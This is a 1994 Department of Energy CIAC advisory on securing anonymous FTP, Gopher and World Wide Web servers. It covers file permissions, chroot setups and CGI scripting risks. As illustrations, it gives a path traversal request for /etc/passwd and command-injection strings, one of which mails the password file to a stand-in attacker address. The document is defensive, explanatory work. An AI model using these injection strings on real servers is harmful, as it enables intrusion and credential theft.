UCRL-MA-118453

Department of Energy

C I A C

Computer Incident Advisory Capability

Securing Internet Information Servers

CIAC-2308 R.0

by the Members of the CIAC Team

September, 1994

Lawrence Livermore National Laborat

Work performed under the auspices of the U. S. Department of Energy by Lawrence Livermore National Laboratory under Contract W-7405-Eng-48.

Table of Contents

Securing Internet Information Servers

Introduction

Overview

As the Internet rapidly becomes populated with increasingly easy-to-use information servers (such as FTP, Gopher, and the World Wide Web (WWW)), users around the world are distributing a staggering amount of data. The information servers make it easy for users to provide information to colleagues, friends, and the general public. Organizations, businesses, and individuals are creating access to information that has never before been available.

Need for Security

Information server technology certainly benefits users; however, information providers should address several aspects of information sharing to assure the security of the information they distribute. The need to secure information servers is very real. For example:

- The bulk of server software in use today, especially for newer services such as Gopher and the WWW, was rapidly developed in a research or university environment and has not undergone rigorous security testing. These programs exhibit significant vulnerabilities that will most likely continue.

- Several of the server packages do not require privileged system access for installation, thus allowing users to establish their own information servers. While desirable, user installation may place systems at risk if users do not establish proper server configuration.

- The growth in both the size of the Internet and the number of information servers has translated into a corresponding expansion in the number of attacks on information servers.

- As organizations and businesses begin to use the Internet to advertise their capabilities and distribute their products, sensitive data will increasingly become vulnerable to compromise and corruption.

  Organizations have reported significant damage. In one case, an intruder compromised the primary distribution server for a popular network software package and installed a “back door” in the package. The system administrators were carefully monitoring the integrity of the distribution and the incident was discovered in less than 24 hours. Even so, users around the world had retrieved hundreds of copies, and administrators had to notify each user of the problem.

General Guidelines for Establishing Information Servers

Recommendations

Specific configuration recommendations for FTP, Gopher, and WWW servers are presented in subsequent sections of this document. However, CIAC recommends these general guidelines for establishing any type of information server:

- The information server should reside on a system dedicated solely to information distribution, and only information to be distributed should reside on this system. You should assume that any information placed on the system will be available to the Internet public, should your server software be compromised.
- Servers should run with as little privilege as necessary. If at all possible, server software should <u>not</u> run as “root,” thus limiting possible damage if an intruder discovers a vulnerability.
- Whenever possible, server software should be executed in a restricted file space (`chroot` environment in Unix), thus restricting files to which the server has access and making it more difficult for users to access unintended information.
- System administrators should closely monitor the integrity of the system and the information to be distributed. Cryptographic “checksum” utilities, such as SPI and Tripwire, can create system snapshots and notify administrators of unauthorized modifications. Appendix A contains further information about obtaining these packages.

Securing Anonymous FTP Servers

Overview

Use of FTP Servers

The File Transfer Protocol, or FTP, is the basis for the oldest and most common type of information server on the Internet, the anonymous FTP server. Anonymous FTP servers allow unauthenticated access to a portion of a host's file system. The server software allows remote users to retrieve files and occasionally it allows file uploads or even more advanced operations, such as index searches and file compression.

These servers are often used to distribute software packages and documents. For example, this document is available from the anonymous FTP server "ciac.llnl.gov".

FTP Server Vulner-abilities

Anonymous FTP servers exhibit several vulnerabilities. These are:

- People on the Internet may use writable areas of an FTP file system to exchange files. This is a common technique used by people to trade copyrighted software and pornographic pictures.
- Users may alter or delete information or software.
- In the past, FTP software vulnerabilities have been found that permitted complete access to the system's files. (CIAC Bulletin E-17 discusses some of these.) These vulnerabilities have been corrected; however, the possibility of new vulnerabilities in the software, especially as new features are added, is very real.
- Configuration errors may permit unintended access to sensitive files. For example, a common mistake when setting up an anonymous FTP server is to make a copy of the system password file in the area available to remote users. If any local users have chosen weak passwords, intruders may then use this password file to break into the system.

FTP Server Configuration Issues

CIAC recommends users consider the following guidelines when setting up an FTP configuration:

- No files or directories in the anonymous FTP area should be "owned" by the user "ftp". This is the user ID of anonymous users, and anything owned by it can be modified, replaced, or deleted by any remote user on the Internet.

- No encrypted passwords from the system password file (`/etc/passwd`) should be present in the password file in the anonymous FTP area (`~ftp/etc/passwd`). Anyone on the Internet can retrieve these encrypted passwords, and unauthorized users can make attempts to decrypt them.

- If at all possible, no directories or files should be writable by anonymous users. On some systems, remote users find it helpful to have an "incoming" directory available for depositing files. Frequently, network intruders use these areas to store and exchange illicit files, including copyrighted software and pornographic pictures. If system administrators require this type of directory, they should secure it as much as possible by using the methods described in the following sections.

How to Secure an Anonymous FTP Server

Procedure

Follow these steps to create a new FTP server:

1. Create the FTP “user”.

   To create a new “ftp” user and group, you add entries to the system password and group files (`/etc/passwd` and `/etc/group`, respectively). The following guidelines are important:

   - The uid and gid numbers should be unused previously.
   - The password entry should specify a locked password (`*`) and have no login shell (`/bin/false`). This prevents unauthorized logins by the ftp user.
   - The home directory specified in `/etc/passwd` will become the root of the file system that is available to anonymous users.

   Examples of system password file and system group file additions are:

```
System password file:

prompt% cat /etc/passwd
•
ftp:*:300:300:Anonymous FTP:/home/ftp:/bin/false
•

System group file:

prompt% cat /etc/group
•
ftp::300:
•
```

2. Create the anonymous FTP file area.

   The ftp home directory (~ftp) and all lower-level information will be available to anonymous users. The following guidelines are important:

   - The owner of the directory should be “root” and group should be “ftp”.
   - The user “ftp” must not be the owner of ~ftp; this configuration prevents anonymous users from adding or removing files.
   - The permissions of ~ftp should be set to 555; this allows read and execute access to all files but disallows writing to files.

The directory set-up looks like this:

```
prompt% ls -lgd ~ftp
dr-xr-xr-x  8 root       ftp          512 Jun 21 11:28 ftp
```

3. Create the directory ~ftp/etc.

The following guidelines are important in creating the ~ftp/etc directory:

- The owner of the directory should be "root" and group should be "ftp".
- The permissions on the directory should be 111; this allows remote users to access files in the directory but not list their names.

The directory set-up looks like this:

```
prompt% ls -lgd ~ftp/etc
dr--x--x--x  8 root      ftp          512 Jun 21 11:30 etc
```

- The ~ftp/etc directory should contain modified versions of the system password and group files (/etc/passwd and /etc/group). The FTP server uses these files to display user and group names when remote users list directory contents with the "DIR" command.

☞ **These modified files should contain as little information as possible from the original password and group files. In particular, the modified files should never contain the encrypted password field for a user.**

These examples show modified system password and group files:

```
Modified system password file:

prompt% cat ~ftp/etc/passwd
root:*:0:1:Super User:/:/bin/false
ftp:*:300:300:FTP Administrator:/:/bin/false
sources:*:400:400:Source Manager:/:/bin/false

Modified system group file:

prompt% cat ~ftp/etc/group
daemon::1:
ftp::300:
sources::400:
```

- The permissions of the modified system password and group files should each be set at 444 and each should be owned by "root."

The directory set-up looks like this:

```
prompt% ls -lg ~ftp/etc
-r--r--r--  8 root       ftp         52 Jun 21 11:28 group
-r--r--r--  8 root       ftp       109 Jun 21 13:12 passwd
```

4. Create the directory `~ftp/bin`.

   The following guidelines are important in creating the `~ftp/bin` directory:

   - The owner of the directory should be “root” and group should be “ftp”.
   - The permissions on the directory should be 111.

   The directory set-up looks like this:

```
prompt% ls -lgd ~ftp/bin
d--x--x--x  8 root       ftp          512 Jun 21 11:30 bin
```

5. Copy the `ls` program into `~ftp/bin`.

   The following guidelines are important when copying the `ls` program into `~ftp/bin`:

   - The owner of the directory should be “root” and group should be “ftp”.
   - The permissions on the directory should be 111.

   The directory set-up looks like this:

```
prompt% ls -lg ~ftp/bin
---x--x--x  8 root       ftp         13352 Jun 20 14:02 ls
```

6. Create a directory `~ftp/pub` for files to be distributed to anonymous users.

   The following guidelines are important in creating the `~ftp/pub` directory:

   - The owner of the directory and any subdirectories under it should be “root” and group should be “ftp”.
   - The permissions on the directory should be 555.

   The directory set-up looks like this:

```
prompt% ls -lgd ~ftp/pub
dr-xr-xr-x  8 root       ftp          512 Jun 21 11:40 pub
```

Additional Configuration for SunOS

Many SunOS commands, including `ls`, use shared libraries at runtime. You will need to install the appropriate shared libraries in the anonymous FTP area to allow these SunOS commands to work.

Follow these steps to install the SunOS libraries:

1. Create the directories `~ftp/usr` and `~ftp/usr/lib`.
   - The owner of the directories should be "root" and group should be "ftp".
   - The permissions on the directories should be 555.
2. Copy `/usr/lib/ld.so` and the latest versions of `/usr/lib/libc.so.X.Y` and `/usr/lib/libdl.so.X.Y` into `~ftp/usr/lib`. ("X" and "Y" are the version numbers of the library.)
   - The owner of these directories should be "root" and group should be "ftp".
   - The permissions on the directories should be 555.
3. Create a `~ftp/dev` directory.
   - The owner of the directory should be "root" and group should be "ftp".
   - The permissions on the directory should be 111.
4. Create the zero device (required by the shared library loader) using the following commands:

```
prompt% cd ~ftp/dev
prompt% mknod zero c 3 12
```

Establishing an Incoming File Area

Network intruders often exploit directories that are writable by anonymous users. If your server requires a writable area, configure it securely. The following guidelines are important in creating a writable area directory:

- The owner of the directory should be "root" and group should be "ftp".
- The permissions on the directory should be 1733.

This configuration will allow anonymous users to create new files in the directory, but will not allow them to overwrite or delete existing files or view the contents of the directory.

A sample incoming directory set-up looks like this:

```
prompt% mkdir ~ftp/incoming
prompt% chown root ~ftp/incoming
prompt% chgrp ftp ~ftp/incoming
prompt% chmod 1733 ~ftp/incoming
prompt% ls -lgd ~ftp/incoming
drwx-wx-wt  8 root          ftp     512 Jun 21 11:45 incoming
```

Advanced Features

Public FTP Servers

Several replacement FTP servers available in the public domain provide additional features to those typically found in standard vendor FTP server software. Features that improve FTP server security are often available this way. For example, the Washington University FTP server allows some commands, such as “RENAME” OR “DELETE,” to be disabled for anonymous users. This server also allows increased system-level control of the files uploaded by anonymous users by limiting writable locations, file permissions, and allowed filenames.

Appendix A provides additional information on the sources and features of public domain FTP servers.

Securing Gopher Servers

Overview

Advantages and Disadvantages of Gopher Servers

Gopher servers are newer to the Internet than FTP servers. Gopher servers have several advantages over the FTP servers. These include:

- Gopher servers provide greater flexibility in the types of information that can be distributed. The information returned to remote users can include links to information sources at other Internet sites, gateways to other types of services (such as FTP and Telnet servers), and even dynamic information generated by local software and driven by remote user requests.
- Gopher servers are easier to use than FTP servers. Most client software includes some sort of graphical user interface and it usually knows how to handle different types of files that a user retrieves. For example, a typical program will automatically run a display program when a graphic image is retrieved.

However, these advantages, combined with the relatively new development stage of the software, create the potential for increased risk to the machines and associated systems running gopher software.

Gopher Server Vulner-abilities

Gopher servers exhibit several vulnerabilities. These include:

- Under some circumstances, remote users can trick the gopher server into retrieving any file on the system, including sensitive system files such as (`/etc/passwd`).

  For example, some older gopher servers would accept requests for the file `../../../../../../../etc/passwd`, thus bypassing the server software checks that normally restrict file access to files contained in the gopher directory and instead returning the system password file.

  Remote users could then search for weak passwords and compromise the entire system.

- Remote users can possibly cause the gopher server to execute arbitrary, undesired shell commands. Sometimes, gopher servers are configured to execute programs on the server host; they will then pass user-specified arguments to the program on the command line. On some systems, the configuration of these arguments will cause additional programs to be executed.

  As an example, a gopher server is configured to call the “finger” program with one user-supplied argument, i.e., the name of the account to finger. If the user specified the account `jane`, the gopher daemon would pass the string `finger jane` to the Unix command interpreter.

  However, if the user supplied the account `jane;cat /etc/passwd`, the server would pass the string `finger jane;cat /etc/passwd` to the system. Because the semi-colon is used to separate multiple commands on the same line, the system would finger jane <u>and</u> display the contents of the system password file.

How to Configure a Gopher Server

Using Configuration Options

This section describes several configuration options that will limit the vulnerability of your gopher system.

1. Run the most recent version of the gopher server software. Currently, these versions are “gopher 1.13” (Gopher) and “gopher 2.013” (Gopher+). CIAC believes these versions are free from most of the vulnerabilities described in the previous section.

   These gopher versions are available via anonymous FTP server “ftp://boombox.micro.umn.edu/pub/unix/”.

2. Do not use the “`-c`” command line option to the gopher daemon (“gopherd”) program. Without “`-c`”, the gopher server will perform a “`chroot()`” system call when it starts up, thus making the gopher home directory appear to the gopher server to be the root of the file system. This configuration prevents the gopher server from accessing any files outside the gopher home directory.

   ☞ **If you use the “`-c`” option, any vulnerability in the gopher software will allow an intruder to access all files on the system.**

3. Use the “`-u`” command line option to the “gopherd” program to specify an alternate user name for runtime.

   ☞ **If you do not use the “`-u`” option, the server will run as the superuser, and any intruder able to compromise the server software will have privileged access to the system.**

   Use a non-privileged user name, for example:

   ```
   /usr/local/etc/gopherd -u nobody
   ```

4. Use the “`-l`” command line option to specify a file for a transaction log. Regular examination of the log will alert you to unusual or suspicious requests for the server. The log will also provide a useful audit trail if you suspect your server has been compromised.

   An example of the “`-l`” command line option looks like this:

   ```
   /usr/local/etc/gopherd -u nobody -l /usr/adm/gopherlog
   ```

How to Configure a Gopher Server, Continued

5. Do <u>not</u> use the same data directories for gopher and anonymous FTP servers if the FTP server allows remote users to upload files.

> ☞ **Using the same directories for gopher and anonymous FTP servers can allow users to upload executable files with FTP; users can then execute the files via gopher.**

Securing Servers on the World Wide Web

Overview

Advantages and Disadvantages of World Wide Web Servers

The most recent development on the Internet is the astonishing proliferation of World Wide Web (WWW) information servers. These servers offer many advantages, including:

- WWW documents allow access via hypertext to thousands of information sources and large amounts of data around the world.
- WWW browsers such as NCSA Mosaic are graphical and easy to use.

These advantages have helped the WWW become the fastest growing information service on the Internet. However, these advantages—in similar fashion to those of gopher servers—combined with the new and untested nature of the server software, introduce the potential for compromise of the server and the information contained on it.

WWW Network Protocol

The principal network protocol used on the WWW is the HyperText Transfer Protocol (HTTP), that allows access to documents using HyperText Mark-Up Language (HTML). HTTP servers are available for many operating systems, including Unix, VMS, Macintosh, and PC systems.

WWW Server Vulnerabilities

Server vulnerabilities vary from operating system to operating system. However, two general areas of vulnerability potentially affect all WWW servers. These are:

- The server may allow access to files located outside the file area designated for WWW access. Intruders may be able to trick some HTTP servers into returning system files such as the password file (`/etc/passwd`).
- Most HTTP servers support executable scripts (Common Gateway Interface, or CGI, scripts) that compute information to be sent back to remote users at the time of demand. <u>This is the area of greatest vulnerability for an HTTP server.</u> The system often cues these scripts using input from remote users; this information is generally supplied via a fill-out form. If these scripts are not carefully written, intruders can subvert the scripts to execute arbitrary commands on the server system.

How to Configure a WWW Server

General Guidelines

Several installation and configuration options are available that will lessen the chances of your WWW server being subverted. Because versions of HTTP servers are available for many operating systems, the configuration solutions recommended in this section are presented in a general format. Consult the documentation for your specific server to develop these configurations in more detail.

Using Configuration Options

This section describes several configuration options that will limit the vulnerability of your WWW server.

1. Run the server daemon as a nonprivileged user (e.g., user “nobody”) rather than as user “root”. Most server daemons can be configured this way. Thus, if an intruder discovers a vulnerability in the server, he or she can only access files and executable programs with the privileges of a nonprivileged user.

   For example, with the NCSA HTTP server, the following configuration lines in the `conf/httpd.conf` configuration instruct the server to run with the access privileges of user “nobody” and group “nogroup”:

   ```
   User nobody
   Group nogroup
   ```

2. Most current HTTP servers implement a “Server Includes” or “Server Parsed” feature. This feature allows the server to insert the contents of specific files or the results of system commands in HTML documents as they are sent to remote users. The “Server Includes” or “Server Parsed” feature is often used to include standard disclaimers or dynamic information such as modification dates or file sizes.

   ☞ **To prevent access to sensitive files by intruders via HTML, you can usually turn off the “include files” feature for specific directories.**

   For example, the following configuration commands in the configuration file `conf/access.conf` instruct the NCSA HTTP server to disallow included files in HTML documents found in user home directories under `/home`:

   ```
   <Directory /home>
   AllowOveride None
   Options Indexes
   </Directory>
   ```

3. Write server CGI scripts carefully. You must design these scripts to handle user input cautiously. For example, if a server CGI script instructed the server to execute the command "`searchindex`" with only one user-supplied command line option (e.g., `$ARG`), the server would likely issue the shell command:

   ```
   searchindex $ARG
   ```

   If a remote user specified `$ARG` as `computers;mail badguy@hack.edu </etc/passwd`, the line sent to the shell would actually look like this:

   ```
   searchindex computers;mail badguy@hack.edu </etc/passwd
   ```

   Two commands would be executed:

   - As expected, the `searchindex` command would search for the keyword "computers".
   - In the Unix shell, the ";" character is used to separate commands. Thus, the server would then mail the system password file to "badguy@hack.edu".

   ☞ **To prevent CGI script compromise, avoid passing remote user input directly to command interpreters such as Unix shells, other interpreters such as Perl and AWK, or programs that allow commands to be embedded in outgoing messages, such as "/usr/ucb/mail".**

   If user input must pass to these types of programs, filter the input for potentially dangerous characters before it is passed along. These characters include the period (.), comma (,), slash (/), semi-colon (;), tilde (~), and exclamation point (!).

4. Consider running HTTP servers in a restricted portion of the Unix file system. Most Unix operating systems provide a `chroot()` system call that causes a program to view the specified directory as the root of the file system.

   Here is an example of such a system call:

   ```
   chroot (/usr/local/httpd)
   ```

   This call would make the directory `/usr/local/httpd` appear as "`/`" to the program. An intruder to this restricted file system would only have access to files below this directory, thus significantly reducing potential damage to the system.

   To execute network daemons such as HTTP servers in this type of restricted environment, you can use a public domain package called "chrootuid". The package is available via anonymous ftp from the address "ftp://ftp.win.tue.nl/pub/security".

References

References on Internet security

The author used the references listed below to develop the information contained in this document.

1. DFN-CERT (1994). DSB-94:02 New Security Hold in gopherd and gopher. Available via anonymous FTP from “ftp.informatik.uni-hamburg.de” in the directory “/pub/security”.

2. Klaus, Christopher (1994). How to Set Up a Secure Anonymous FTP Site. Available via anonymous FTP from “rtfm.mit.edu” in the file “/pub/usenet-by-group/comp.security/unix/computer-security_anonymous-ftp.FAQ”.

3. Lindner, Paul (1994). Guide to Safe Gophering. Presented at GopherCON 94. Available via Gopher at “boombox.micro.umn.edu”.

4. NCSA (1994). NCSA httpd. Available at “http://hoohoo.ncsa.uiuc.edu/docs/Overview.html”.

5. U.S. Department of Energy, Computer Incident Advisory Capability (CIAC) (1994). E-14 wuarchive ftpd Trojan Horse. Available via anonymous FTP from “ciac.llnl.gov” in the directory “/pub/ciac/bulletin”.

Appendix A
Publicly Available Server Software

Introduction

What's in This Appendix	This appendix summarizes the features and locations of several public domain software packages mentioned in this document.

Public Domain Software

Washington University FTP Daemon

The Washington University server is the most popular software replacement for vendor supplied FTP daemons. The software has several additional features that facilitate the handling of large numbers of anonymous FTP connections; some of these features are also useful for enhancing the security of the server.

Supported features include:

- logging of transfers
- logging of commands
- on-the-fly compression and archiving of files and directories
- classification of users by type and location
- logon limits for each class of user
- per directory upload permissions
- directory and system messages

The Washington University software is available via anonymous FTP from "wuarchive.wustl.edu" in the directory "/packages/wuarchive-ftpd".

Gopher Server Software

The primary location for Gopher server software is the anonymous FTP site "boombox.micro.umn.edu" in the directory "/pub/gopher". Servers are available for several platforms, including Unix, Macintosh, and PC systems.

Public Domain Software, Continued

World Wide Web HTTP Servers

Several HTTP servers are available for a variety of host platforms. HTTP servers include:

NCSA httpd

This server is available for Unix systems. NCSA httpd features include:

- server scripts to support forms, indexes, and image maps
- per directory access control based on user names and passwords or the host of the remote user
- server side "include" files for dynamic changes to WWW pages

This server is available via anonymous FTP from "ftp.ncsa.uiuc.edu" in the directory "/Web/ncsa_httpd".

CERN httpd

The CERN server provides a feature set very similar to the NCSA daemon. In addition, it can be used as a WWW gateway for systems that are behind firewalls.

This server is available for Unix and VMS systems via anonymous FTP from "info.cern.ch".

GN Gopher/HTTP

The GN Gopher/HTTP server supports both Gopher and WWW clients simultaneously. The GN server provides access control on a per-document rather than per-directory basis, resulting in potentially tighter control over the distributed information.

For more information, see the WWW page "http://hopf.math.nwu.edu/".

The "chrootuid" Package

The chrootuid package simplifies the task of running a program (such as an information server) with restricted file system access and as a nonprivileged user.

The software is available via anonymous FTP from "coast.cs.purdue.edu" in the directory "/pub/tools/unix/chrootuid".

Public Domain Software, Continued

The Security Profile Inspector

The Security Profile Inspector (SPI) tool performs security assessments of Unix- and VMS-based systems, reporting system configuration vulnerabilities, bad passwords, and violations of system file integrity. Of particular interest to information server administrators, the SPI tool will maintain a database of secure checksums for specified system directories and will alert the administrator to any changes to the contents of those directories.

For further information, call the SPI project lead at (510) 422-3881.

Tripwire

The Tripwire tool will monitor the integrity of a set of user-selected files and directories on a Unix system. The tool will detect and report to the system administrator any changes, additions, or deletions to these files.

Tripwire is available via anonymous FTP from “coast.cs.purdue.edu” in the directory “/pub/tools/unix/Tripwire”.

Reader Comments

CIAC updates and enhances the documentation it produces. If you find errors in or have suggestions to improve this document, please fill out this form. Mail it to CIAC, Lawrence Livermore National Laboratory, P.O. Box 808, Mail Stop L-303, Livermore, CA, 94551-9900. Thank you.

List errors you find here. Please include page numbers.

List suggestions for improvement here.

Optional:

Name ______________________________ Phone ______________